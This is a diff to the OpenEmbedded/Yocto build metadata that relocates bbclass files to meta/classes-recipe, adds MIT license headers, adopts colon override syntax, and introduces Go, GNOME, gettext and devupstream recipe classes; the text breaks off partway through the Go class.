TARGET_ARCH[vardepsexclude] = "TUNE_ARCH"
-PKGDATA_DIR = "${TMPDIR}/pkgdata/${SDK_SYS}"
+PKGDATA_DIR = "${PKGDATA_DIR_SDK}"
# If MLPREFIX is set by multilib code, shlibs
# points to the wrong place so force it
SHLIBSDIRS = "${PKGDATA_DIR}/nativesdk-shlibs2"
diff --git a/meta/classes/cross.bbclass b/meta/classes-recipe/cross.bbclass
index bfec91d043..93de9a5274 100644
--- a/meta/classes/cross.bbclass
+++ b/meta/classes-recipe/cross.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
inherit relocatable
# Cross packages are built indirectly via dependency,
@@ -7,7 +13,7 @@ EXCLUDE_FROM_WORLD = "1"
CLASSOVERRIDE = "class-cross"
PACKAGES = ""
PACKAGES_DYNAMIC = ""
-PACKAGES_DYNAMIC_class-native = ""
+PACKAGES_DYNAMIC:class-native = ""
HOST_ARCH = "${BUILD_ARCH}"
HOST_VENDOR = "${BUILD_VENDOR}"
@@ -72,10 +78,6 @@ libexecdir = "${exec_prefix}/libexec/${CROSS_TARGET_SYS_DIR}"
do_populate_sysroot[sstate-inputdirs] = "${SYSROOT_DESTDIR}/${STAGING_DIR_NATIVE}/"
do_packagedata[stamp-extra-info] = ""
-do_install () {
- oe_runmake 'DESTDIR=${D}' install
-}
-
USE_NLS = "no"
export CC = "${BUILD_CC}"
@@ -97,3 +99,5 @@ python do_addto_recipe_sysroot () {
}
addtask addto_recipe_sysroot after do_populate_sysroot
do_addto_recipe_sysroot[deptask] = "do_populate_sysroot"
+
+PATH:prepend = "${COREBASE}/scripts/cross-intercept:"
diff --git a/meta/classes/crosssdk.bbclass b/meta/classes-recipe/crosssdk.bbclass
index 04aecb694e..824b1bcff4 100644
--- a/meta/classes/crosssdk.bbclass
+++ b/meta/classes-recipe/crosssdk.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
inherit cross
CLASSOVERRIDE = "class-crosssdk"
diff --git a/meta/classes/deploy.bbclass b/meta/classes-recipe/deploy.bbclass
index 737c26122b..f56fe98d6d 100644
--- a/meta/classes/deploy.bbclass
+++ b/meta/classes-recipe/deploy.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
DEPLOYDIR = "${WORKDIR}/deploy-${PN}"
SSTATETASKS += "do_deploy"
do_deploy[sstate-inputdirs] = "${DEPLOYDIR}"
@@ -7,6 +13,6 @@ python do_deploy_setscene () {
sstate_setscene(d)
}
addtask do_deploy_setscene
-do_deploy[dirs] = "${DEPLOYDIR} ${B}"
+do_deploy[dirs] = "${B}"
do_deploy[cleandirs] = "${DEPLOYDIR}"
do_deploy[stamp-extra-info] = "${MACHINE_ARCH}"
diff --git a/meta/classes/devicetree.bbclass b/meta/classes-recipe/devicetree.bbclass
index c772ab2ab9..bd50d7fa1d 100644
--- a/meta/classes/devicetree.bbclass
+++ b/meta/classes-recipe/devicetree.bbclass
@@ -1,4 +1,10 @@
-# This bbclass implements device tree compliation for user provided device tree
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# This bbclass implements device tree compilation for user provided device tree
# sources. The compilation of the device tree sources is the same as the kernel
# device tree compilation process, this includes being able to include sources
# from the kernel such as soc dtsi files or header files such as gpio.h. In
@@ -15,10 +21,10 @@
SECTION ?= "bsp"
# The default inclusion of kernel device tree includes and headers means that
-# device trees built with them are at least GPLv2 (and in some cases dual
-# licensed). Default to GPLv2 if the recipe does not specify a license.
-LICENSE ?= "GPLv2"
-LIC_FILES_CHKSUM ?= "file://${COMMON_LICENSE_DIR}/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
+# device trees built with them are at least GPL-2.0-only (and in some cases dual
+# licensed). Default to GPL-2.0-only if the recipe does not specify a license.
+LICENSE ?= "GPL-2.0-only"
+LIC_FILES_CHKSUM ?= "file://${COMMON_LICENSE_DIR}/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
INHIBIT_DEFAULT_DEPS = "1"
DEPENDS += "dtc-native"
@@ -32,7 +38,7 @@ PROVIDES = "virtual/dtb"
PACKAGE_ARCH = "${MACHINE_ARCH}"
SYSROOT_DIRS += "/boot/devicetree"
-FILES_${PN} = "/boot/devicetree/*.dtb /boot/devicetree/*.dtbo"
+FILES:${PN} = "/boot/devicetree/*.dtb /boot/devicetree/*.dtbo"
S = "${WORKDIR}"
B = "${WORKDIR}/build"
@@ -47,8 +53,10 @@ KERNEL_INCLUDE ??= " \
DT_INCLUDE[doc] = "Search paths to be made available to both the device tree compiler and preprocessor for inclusion."
DT_INCLUDE ?= "${DT_FILES_PATH} ${KERNEL_INCLUDE}"
-DT_FILES_PATH[doc] = "Defaults to source directory, can be used to select dts files that are not in source (e.g. generated)."
+DT_FILES_PATH[doc] = "Path to the directory containing dts files to build. Defaults to source directory."
DT_FILES_PATH ?= "${S}"
+DT_FILES[doc] = "Space-separated list of dts or dtb files (relative to DT_FILES_PATH) to build. If empty, all dts files are built."
+DT_FILES ?= ""
DT_PADDING_SIZE[doc] = "Size of padding on the device tree blob, used as extra space typically for additional properties during boot."
DT_PADDING_SIZE ??= "0x3000"
@@ -119,9 +127,12 @@ def devicetree_compile(dtspath, includes, d):
subprocess.run(dtcargs, check = True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
python devicetree_do_compile() {
+ import re
includes = expand_includes("DT_INCLUDE", d)
+ dtfiles = d.getVar("DT_FILES").split()
+ dtfiles = [ re.sub(r"\.dtbo?$", ".dts", dtfile) for dtfile in dtfiles ]
listpath = d.getVar("DT_FILES_PATH")
- for dts in os.listdir(listpath):
+ for dts in dtfiles or os.listdir(listpath):
dtspath = os.path.join(listpath, dts)
try:
if not(os.path.isfile(dtspath)) or not(dts.endswith(".dts") or devicetree_source_is_overlay(dtspath)):
diff --git a/meta/classes-recipe/devupstream.bbclass b/meta/classes-recipe/devupstream.bbclass
new file mode 100644
index 0000000000..d941763fb7
--- /dev/null
+++ b/meta/classes-recipe/devupstream.bbclass
@@ -0,0 +1,61 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Class for use in BBCLASSEXTEND to make it easier to have a single recipe that
+# can build both stable tarballs and snapshots from upstream source
+# repositories.
+#
+# Usage:
+# BBCLASSEXTEND = "devupstream:target"
+# SRC_URI:class-devupstream = "git://git.example.com/example;branch=master"
+# SRCREV:class-devupstream = "abcdef"
+#
+# If the first entry in SRC_URI is a git: URL then S is rewritten to
+# WORKDIR/git.
+#
+# There are a few caveats that remain to be solved:
+# - You can't build native or nativesdk recipes using for example
+# devupstream:native, you can only build target recipes.
+# - If the fetcher requires native tools (such as subversion-native) then
+# bitbake won't be able to add them automatically.
+
+python devupstream_virtclass_handler () {
+ # Do nothing if this is inherited, as it's for BBCLASSEXTEND
+ if "devupstream" not in (d.getVar('BBCLASSEXTEND') or ""):
+ bb.error("Don't inherit devupstream, use BBCLASSEXTEND")
+ return
+
+ variant = d.getVar("BBEXTENDVARIANT")
+ if variant not in ("target", "native"):
+ bb.error("Unsupported variant %s. Pass the variant when using devupstream, for example devupstream:target" % variant)
+ return
+
+ # Develpment releases are never preferred by default
+ d.setVar("DEFAULT_PREFERENCE", "-1")
+
+ src_uri = d.getVar("SRC_URI:class-devupstream") or d.getVar("SRC_URI")
+ uri = bb.fetch2.URI(src_uri.split()[0])
+
+ if uri.scheme == "git" and not d.getVar("S:class-devupstream"):
+ d.setVar("S", "${WORKDIR}/git")
+
+ # Modify the PV if the recipe hasn't already overridden it
+ pv = d.getVar("PV")
+ proto_marker = "+" + uri.scheme
+ if proto_marker not in pv and not d.getVar("PV:class-devupstream"):
+ d.setVar("PV", pv + proto_marker)
+
+ if variant == "native":
+ pn = d.getVar("PN")
+ d.setVar("PN", "%s-native" % (pn))
+ fn = d.getVar("FILE")
+ bb.parse.BBHandler.inherit("native", fn, 0, d)
+
+ d.appendVar("CLASSOVERRIDE", ":class-devupstream")
+}
+
+addhandler devupstream_virtclass_handler
+devupstream_virtclass_handler[eventmask] = "bb.event.RecipePreFinalise"
diff --git a/meta/classes-recipe/distro_features_check.bbclass b/meta/classes-recipe/distro_features_check.bbclass
new file mode 100644
index 0000000000..1f2674fd6e
--- /dev/null
+++ b/meta/classes-recipe/distro_features_check.bbclass
@@ -0,0 +1,13 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Temporarily provide fallback to the old name of the class
+
+python __anonymous() {
+ bb.warn("distro_features_check.bbclass is deprecated, please use features_check.bbclass instead")
+}
+
+inherit features_check
diff --git a/meta/classes/dos2unix.bbclass b/meta/classes-recipe/dos2unix.bbclass
index 3fc17e2196..18e89b1cf2 100644
--- a/meta/classes/dos2unix.bbclass
+++ b/meta/classes-recipe/dos2unix.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Class for use to convert all CRLF line terminators to LF
# provided that some projects are being developed/maintained
# on Windows so they have different line terminators(CRLF) vs
diff --git a/meta/classes/features_check.bbclass b/meta/classes-recipe/features_check.bbclass
index b3c8047861..163a7bc3fc 100644
--- a/meta/classes/features_check.bbclass
+++ b/meta/classes-recipe/features_check.bbclass
@@ -1,6 +1,6 @@
# Allow checking of required and conflicting features
#
-# xxx = [DISTRO,MACHINE,COMBINED]
+# xxx = [DISTRO,MACHINE,COMBINED,IMAGE]
#
# ANY_OF_xxx_FEATURES: ensure at least one item on this list is included
# in xxx_FEATURES.
@@ -11,6 +11,9 @@
#
# Copyright 2019 (C) Texas Instruments Inc.
# Copyright 2013 (C) O.S. Systems Software LTDA.
+#
+# SPDX-License-Identifier: MIT
+
python () {
if d.getVar('PARSE_ALL_RECIPES', False):
@@ -18,13 +21,10 @@ python () {
unused = True
- for kind in ['DISTRO', 'MACHINE', 'COMBINED']:
- if d.getVar('ANY_OF_' + kind + '_FEATURES') is None and \
- d.overridedata.get('ANY_OF_' + kind + '_FEATURES') is None and \
- d.getVar('REQUIRED_' + kind + '_FEATURES') is None and \
- d.overridedata.get('REQUIRED_' + kind + '_FEATURES') is None and \
- d.getVar('CONFLICT_' + kind + '_FEATURES') is None and \
- d.overridedata.get('CONFLICT_' + kind + '_FEATURES') is None:
+ for kind in ['DISTRO', 'MACHINE', 'COMBINED', 'IMAGE']:
+ if d.getVar('ANY_OF_' + kind + '_FEATURES') is None and not d.hasOverrides('ANY_OF_' + kind + '_FEATURES') and \
+ d.getVar('REQUIRED_' + kind + '_FEATURES') is None and not d.hasOverrides('REQUIRED_' + kind + '_FEATURES') and \
+ d.getVar('CONFLICT_' + kind + '_FEATURES') is None and not d.hasOverrides('CONFLICT_' + kind + '_FEATURES'):
continue
unused = False
diff --git a/meta/classes/fontcache.bbclass b/meta/classes-recipe/fontcache.bbclass
index 624a420a0d..6f4978369d 100644
--- a/meta/classes/fontcache.bbclass
+++ b/meta/classes-recipe/fontcache.bbclass
@@ -1,4 +1,10 @@
#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
# This class will generate the proper postinst/postrm scriptlets for font
# packages.
#
@@ -7,6 +13,7 @@ PACKAGE_WRITE_DEPS += "qemu-native"
inherit qemu
FONT_PACKAGES ??= "${PN}"
+FONT_PACKAGES:class-native = ""
FONT_EXTRA_RDEPENDS ?= "${MLPREFIX}fontconfig-utils"
FONTCONFIG_CACHE_DIR ?= "${localstatedir}/cache/fontconfig"
FONTCONFIG_CACHE_PARAMS ?= "-v"
@@ -35,23 +42,23 @@ python () {
deps = d.getVar("FONT_EXTRA_RDEPENDS")
for pkg in font_pkgs:
- if deps: d.appendVar('RDEPENDS_' + pkg, ' '+deps)
+ if deps: d.appendVar('RDEPENDS:' + pkg, ' '+deps)
}
python add_fontcache_postinsts() {
for pkg in d.getVar('FONT_PACKAGES').split():
bb.note("adding fonts postinst and postrm scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg) or d.getVar('pkg_postinst')
+ postinst = d.getVar('pkg_postinst:%s' % pkg) or d.getVar('pkg_postinst')
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('fontcache_common')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg) or d.getVar('pkg_postrm')
+ postrm = d.getVar('pkg_postrm:%s' % pkg) or d.getVar('pkg_postrm')
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('fontcache_common')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
}
PACKAGEFUNCS =+ "add_fontcache_postinsts"
diff --git a/meta/classes/fs-uuid.bbclass b/meta/classes-recipe/fs-uuid.bbclass
index 9b53dfba7a..e215f06c80 100644
--- a/meta/classes/fs-uuid.bbclass
+++ b/meta/classes-recipe/fs-uuid.bbclass
@@ -1,10 +1,16 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Extract UUID from ${ROOTFS}, which must have been built
# by the time that this function gets called. Only works
# on ext file systems and depends on tune2fs.
def get_rootfs_uuid(d):
import subprocess
rootfs = d.getVar('ROOTFS')
- output = subprocess.check_output(['tune2fs', '-l', rootfs])
+ output = subprocess.check_output(['tune2fs', '-l', rootfs], text=True)
for line in output.split('\n'):
if line.startswith('Filesystem UUID:'):
uuid = line.split()[-1]
diff --git a/meta/classes/gconf.bbclass b/meta/classes-recipe/gconf.bbclass
index 3e3c509d5f..b81851bc78 100644
--- a/meta/classes/gconf.bbclass
+++ b/meta/classes-recipe/gconf.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
DEPENDS += "gconf"
PACKAGE_WRITE_DEPS += "gconf-native"
@@ -41,7 +47,7 @@ for SCHEMA in ${SCHEMA_FILES}; do
done
}
-python populate_packages_append () {
+python populate_packages:append () {
import re
packages = d.getVar('PACKAGES').split()
pkgdest = d.getVar('PKGDEST')
@@ -57,15 +63,15 @@ python populate_packages_append () {
if schemas != []:
bb.note("adding gconf postinst and prerm scripts to %s" % pkg)
d.setVar('SCHEMA_FILES', " ".join(schemas))
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('gconf_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
- prerm = d.getVar('pkg_prerm_%s' % pkg)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
+ prerm = d.getVar('pkg_prerm:%s' % pkg)
if not prerm:
prerm = '#!/bin/sh\n'
prerm += d.getVar('gconf_prerm')
- d.setVar('pkg_prerm_%s' % pkg, prerm)
- d.appendVar("RDEPENDS_%s" % pkg, ' ' + d.getVar('MLPREFIX', False) + 'gconf')
+ d.setVar('pkg_prerm:%s' % pkg, prerm)
+ d.appendVar("RDEPENDS:%s" % pkg, ' ' + d.getVar('MLPREFIX', False) + 'gconf')
}
diff --git a/meta/classes-recipe/gettext.bbclass b/meta/classes-recipe/gettext.bbclass
new file mode 100644
index 0000000000..c313885d52
--- /dev/null
+++ b/meta/classes-recipe/gettext.bbclass
@@ -0,0 +1,28 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+def gettext_dependencies(d):
+ if d.getVar('INHIBIT_DEFAULT_DEPS') and not oe.utils.inherits(d, 'cross-canadian'):
+ return ""
+ if d.getVar('USE_NLS') == 'no':
+ return "gettext-minimal-native"
+ return "gettext-native"
+
+def gettext_oeconf(d):
+ if d.getVar('USE_NLS') == 'no':
+ return '--disable-nls'
+ # Remove the NLS bits if USE_NLS is no or INHIBIT_DEFAULT_DEPS is set
+ if d.getVar('INHIBIT_DEFAULT_DEPS') and not oe.utils.inherits(d, 'cross-canadian'):
+ return '--disable-nls'
+ return "--enable-nls"
+
+BASEDEPENDS:append = " ${@gettext_dependencies(d)}"
+EXTRA_OECONF:append = " ${@gettext_oeconf(d)}"
+
+# Without this, msgfmt from gettext-native will not find ITS files
+# provided by target recipes (for example, polkit.its).
+GETTEXTDATADIRS:append:class-target = ":${STAGING_DATADIR}/gettext"
+export GETTEXTDATADIRS
diff --git a/meta/classes-recipe/gi-docgen.bbclass b/meta/classes-recipe/gi-docgen.bbclass
new file mode 100644
index 0000000000..b178d1c387
--- /dev/null
+++ b/meta/classes-recipe/gi-docgen.bbclass
@@ -0,0 +1,32 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# gi-docgen is a new gnome documentation generator, which
+# seems to be a successor to gtk-doc:
+# https://gitlab.gnome.org/GNOME/gi-docgen
+
+# True if api-documentation and gobject-introspection-data are in DISTRO_FEATURES,
+# and qemu-user is in MACHINE_FEATURES, False otherwise.
+GIDOCGEN_ENABLED ?= "${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation gobject-introspection-data', \
+ bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'True', 'False', d), 'False', d)}"
+
+# When building native recipes, disable gi-docgen, as it is not necessary,
+# pulls in additional dependencies, and makes build times longer
+GIDOCGEN_ENABLED:class-native = "False"
+GIDOCGEN_ENABLED:class-nativesdk = "False"
+
+# meson: default option name to enable/disable gi-docgen. This matches most
+# projects' configuration. In doubts - check meson_options.txt in project's
+# source path.
+GIDOCGEN_MESON_OPTION ?= 'gtk_doc'
+GIDOCGEN_MESON_ENABLE_FLAG ?= 'true'
+GIDOCGEN_MESON_DISABLE_FLAG ?= 'false'
+
+# Auto enable/disable based on GIDOCGEN_ENABLED
+EXTRA_OEMESON:prepend = "-D${GIDOCGEN_MESON_OPTION}=${@bb.utils.contains('GIDOCGEN_ENABLED', 'True', '${GIDOCGEN_MESON_ENABLE_FLAG}', '${GIDOCGEN_MESON_DISABLE_FLAG}', d)} "
+
+DEPENDS:append = "${@' gi-docgen-native gi-docgen' if d.getVar('GIDOCGEN_ENABLED') == 'True' else ''}"
+
diff --git a/meta/classes-recipe/gio-module-cache.bbclass b/meta/classes-recipe/gio-module-cache.bbclass
new file mode 100644
index 0000000000..d12e03c4a0
--- /dev/null
+++ b/meta/classes-recipe/gio-module-cache.bbclass
@@ -0,0 +1,44 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+PACKAGE_WRITE_DEPS += "qemu-native"
+inherit qemu
+
+GIO_MODULE_PACKAGES ??= "${PN}"
+
+gio_module_cache_common() {
+if [ "x$D" != "x" ]; then
+ $INTERCEPT_DIR/postinst_intercept update_gio_module_cache ${PKG} \
+ mlprefix=${MLPREFIX} \
+ binprefix=${MLPREFIX} \
+ libdir=${libdir} \
+ libexecdir=${libexecdir} \
+ base_libdir=${base_libdir} \
+ bindir=${bindir}
+else
+ ${libexecdir}/${MLPREFIX}gio-querymodules ${libdir}/gio/modules/
+fi
+}
+
+python populate_packages:append () {
+ packages = d.getVar('GIO_MODULE_PACKAGES').split()
+
+ for pkg in packages:
+ bb.note("adding gio-module-cache postinst and postrm scripts to %s" % pkg)
+
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
+ if not postinst:
+ postinst = '#!/bin/sh\n'
+ postinst += d.getVar('gio_module_cache_common')
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
+
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
+ if not postrm:
+ postrm = '#!/bin/sh\n'
+ postrm += d.getVar('gio_module_cache_common')
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
+}
+
diff --git a/meta/classes-recipe/github-releases.bbclass b/meta/classes-recipe/github-releases.bbclass
new file mode 100644
index 0000000000..ed83b83731
--- /dev/null
+++ b/meta/classes-recipe/github-releases.bbclass
@@ -0,0 +1,3 @@
+GITHUB_BASE_URI ?= "https://github.com/${BPN}/${BPN}/releases/"
+UPSTREAM_CHECK_URI ?= "${GITHUB_BASE_URI}"
+UPSTREAM_CHECK_REGEX ?= "releases/tag/v?(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/classes-recipe/gnomebase.bbclass b/meta/classes-recipe/gnomebase.bbclass
new file mode 100644
index 0000000000..74073321b8
--- /dev/null
+++ b/meta/classes-recipe/gnomebase.bbclass
@@ -0,0 +1,38 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+def gnome_verdir(v):
+ return ".".join(v.split(".")[:-1]) or v
+
+
+GNOME_COMPRESS_TYPE ?= "xz"
+SECTION ?= "x11/gnome"
+GNOMEBN ?= "${BPN}"
+SRC_URI = "${GNOME_MIRROR}/${GNOMEBN}/${@gnome_verdir("${PV}")}/${GNOMEBN}-${PV}.tar.${GNOME_COMPRESS_TYPE};name=archive"
+
+FILES:${PN} += "${datadir}/application-registry \
+ ${datadir}/mime-info \
+ ${datadir}/mime/packages \
+ ${datadir}/mime/application \
+ ${datadir}/gnome-2.0 \
+ ${datadir}/polkit* \
+ ${datadir}/GConf \
+ ${datadir}/glib-2.0/schemas \
+ ${datadir}/appdata \
+ ${datadir}/icons \
+"
+
+FILES:${PN}-doc += "${datadir}/devhelp"
+
+GNOMEBASEBUILDCLASS ??= "meson"
+inherit pkgconfig
+inherit_defer ${GNOMEBASEBUILDCLASS}
+
+do_install:append() {
+ rm -rf ${D}${localstatedir}/lib/scrollkeeper/*
+ rm -rf ${D}${localstatedir}/scrollkeeper/*
+ rm -f ${D}${datadir}/applications/*.cache
+}
diff --git a/meta/classes-recipe/go-mod.bbclass b/meta/classes-recipe/go-mod.bbclass
new file mode 100644
index 0000000000..ca3a690d05
--- /dev/null
+++ b/meta/classes-recipe/go-mod.bbclass
@@ -0,0 +1,30 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Handle Go Modules support
+#
+# When using Go Modules, the current working directory MUST be at or below
+# the location of the 'go.mod' file when the go tool is used, and there is no
+# way to tell it to look elsewhere. It will automatically look upwards for the
+# file, but not downwards.
+#
+# To support this use case, we provide the `GO_WORKDIR` variable, which defaults
+# to `GO_IMPORT` but allows for easy override.
+#
+# Copyright 2020 (C) O.S. Systems Software LTDA.
+
+# The '-modcacherw' option ensures we have write access to the cached objects so
+# we avoid errors during clean task as well as when removing the TMPDIR.
+GOBUILDFLAGS:append = " -modcacherw"
+
+inherit go
+
+GO_WORKDIR ?= "${GO_IMPORT}"
+do_compile[dirs] += "${B}/src/${GO_WORKDIR}"
+
+export GOMODCACHE = "${B}/.mod"
+
+do_compile[cleandirs] += "${B}/.mod"
diff --git a/meta/classes/go-ptest.bbclass b/meta/classes-recipe/go-ptest.bbclass
index e230a80587..54fcbb535d 100644
--- a/meta/classes/go-ptest.bbclass
+++ b/meta/classes-recipe/go-ptest.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
inherit go ptest
do_compile_ptest_base() {
@@ -50,5 +56,5 @@ do_install_ptest_base() {
chown -R root:root ${D}${PTEST_PATH}
}
-INSANE_SKIP_${PN}-ptest += "ldflags"
+INSANE_SKIP:${PN}-ptest += "ldflags"
diff --git a/meta/classes-recipe/go.bbclass b/meta/classes-recipe/go.bbclass
new file mode 100644
index 0000000000..cc3564c36a
--- /dev/null
+++ b/meta/classes-recipe/go.bbclass
@@ -0,0 +1,171 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit goarch
+inherit linuxloader
+
+GO_PARALLEL_BUILD ?= "${@oe.utils.parallel_make_argument(d, '-p %d')}"
+
+export GODEBUG = "gocachehash=1"
+
+GOROOT:class-native = "${STAGING_LIBDIR_NATIVE}/go"
+GOROOT:class-nativesdk = "${STAGING_DIR_TARGET}${libdir}/go"
+GOROOT = "${STAGING_LIBDIR}/go"
+export GOROOT
+export GOROOT_FINAL = "${libdir}/go"
+export GOCACHE = "${B}/.cache"
+
+export GOARCH = "${TARGET_GOARCH}"
+export GOOS = "${TARGET_GOOS}"
+export GOHOSTARCH="${BUILD_GOARCH}"
+export GOHOSTOS="${BUILD_GOOS}"
+
+GOARM[export] = "0"
+GOARM:arm:class-target = "${TARGET_GOARM}"
+GOARM:arm:class-target[export] = "1"
+
+GO386[export] = "0"
+GO386:x86:class-target = "${TARGET_GO386}"
+GO386:x86:class-target[export] = "1"
+
+GOMIPS[export] = "0"
+GOMIPS:mips:class-target = "${TARGET_GOMIPS}"
+GOMIPS:mips:class-target[export] = "1"
+
+DEPENDS_GOLANG:class-target = "virtual/${TUNE_PKGARCH}-go virtual/${TARGET_PREFIX}go-runtime"
+DEPENDS_GOLANG:class-native = "go-native"
+DEPENDS_GOLANG:class-nativesdk = "virtual/${TARGET_PREFIX}go virtual/${TARGET_PREFIX}go-runtime"
+
+DEPENDS:append = " ${DEPENDS_GOLANG}"
+
+GO_LINKSHARED ?= "${@'-linkshared' if d.getVar('GO_DYNLINK') else ''}"
+GO_RPATH_LINK = "${@'-Wl,-rpath-link=${STAGING_DIR_TARGET}${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
+GO_RPATH = "${@'-r ${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
+GO_RPATH:class-native = "${@'-r ${STAGING_LIBDIR_NATIVE}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
+GO_RPATH_LINK:class-native = "${@'-Wl,-rpath-link=${STAGING_LIBDIR_NATIVE}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
+GO_EXTLDFLAGS ?= "${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS} ${GO_RPATH_LINK} ${LDFLAGS}"
+GO_LINKMODE ?= ""
+GO_LINKMODE:class-nativesdk = "--linkmode=external"
+GO_LINKMODE:class-native = "--linkmode=external"
+GO_EXTRA_LDFLAGS ?= ""
+GO_LINUXLOADER ?= "-I ${@get_linuxloader(d)}"
+# Use system loader. If uninative is used, the uninative loader will be patched automatically
+GO_LINUXLOADER:class-native = ""
+GO_LDFLAGS ?= '-ldflags="${GO_RPATH} ${GO_LINKMODE} ${GO_LINUXLOADER} ${GO_EXTRA_LDFLAGS} -extldflags '${GO_EXTLDFLAGS}'"'
+export GOBUILDFLAGS ?= "-v ${GO_LDFLAGS} -trimpath"
+export GOPATH_OMIT_IN_ACTIONID ?= "1"
+export GOPTESTBUILDFLAGS ?= "${GOBUILDFLAGS} -c"
+export GOPTESTFLAGS ?= ""
+GOBUILDFLAGS:prepend:task-compile = "${GO_PARALLEL_BUILD} "
+
+export GO = "${HOST_PREFIX}go"
+GOTOOLDIR = "${STAGING_LIBDIR_NATIVE}/${TARGET_SYS}/go/pkg/tool/${BUILD_GOTUPLE}"
+GOTOOLDIR:class-native = "${STAGING_LIBDIR_NATIVE}/go/pkg/tool/${BUILD_GOTUPLE}"
+export GOTOOLDIR
+
+export CGO_ENABLED ?= "1"
+export CGO_CFLAGS ?= "${CFLAGS}"
+export CGO_CPPFLAGS ?= "${CPPFLAGS}"
+export CGO_CXXFLAGS ?= "${CXXFLAGS}"
+export CGO_LDFLAGS ?= "${LDFLAGS}"
+
+GO_INSTALL ?= "${GO_IMPORT}/..."
+GO_INSTALL_FILTEROUT ?= "${GO_IMPORT}/vendor/"
+
+B = "${WORKDIR}/build"
+export GOPATH = "${B}"
+export GOENV = "off"
+export GOPROXY ??= "https://proxy.golang.org,direct"
+export GOTMPDIR ?= "${WORKDIR}/build-tmp"
+GOTMPDIR[vardepvalue] = ""
+
+python go_do_unpack() {
+ src_uri = (d.getVar('SRC_URI') or "").split()
+ if len(src_uri) == 0:
+ return
+
+ fetcher = bb.fetch2.Fetch(src_uri, d)
+ for url in fetcher.urls:
+ if fetcher.ud[url].type == 'git':
+ if fetcher.ud[url].parm.get('destsuffix') is None:
+ s_dirname = os.path.basename(d.getVar('S'))
+ fetcher.ud[url].parm['destsuffix'] = os.path.join(s_dirname, 'src', d.getVar('GO_IMPORT')) + '/'
+ fetcher.unpack(d.getVar('WORKDIR'))
+}
+
+go_list_packages() {
+ ${GO} list -f '{{.ImportPath}}' ${GOBUILDFLAGS} ${GO_INSTALL} | \
+ egrep -v '${GO_INSTALL_FILTEROUT}'
+}
+
+go_list_package_tests() {
+ ${GO} list -f '{{.ImportPath}} {{.TestGoFiles}}' ${GOBUILDFLAGS} ${GO_INSTALL} | \
+ grep -v '\[\]$' | \
+ egrep -v '${GO_INSTALL_FILTEROUT}' | \
+ awk '{ print $1 }'
+}
+
+go_do_configure() {
+ ln -snf ${S}/src ${B}/
+}
+do_configure[dirs] =+ "${GOTMPDIR}"
+
+go_do_compile() {
+ export TMPDIR="${GOTMPDIR}"
+ if [ -n "${GO_INSTALL}" ]; then
+ if [ -n "${GO_LINKSHARED}" ]; then
+ ${GO} install ${GOBUILDFLAGS} `go_list_packages`
+ rm -rf ${B}/bin
+ fi
+ ${GO} install ${GO_LINKSHARED} ${GOBUILDFLAGS} `go_list_packages`
+ fi
+}
+do_compile[dirs] =+ "${GOTMPDIR}"
+do_compile[cleandirs] = "${B}/bin ${B}/pkg"
+
+go_do_install() {
+ install -d ${D}${libdir}/go/src/${GO_IMPORT}
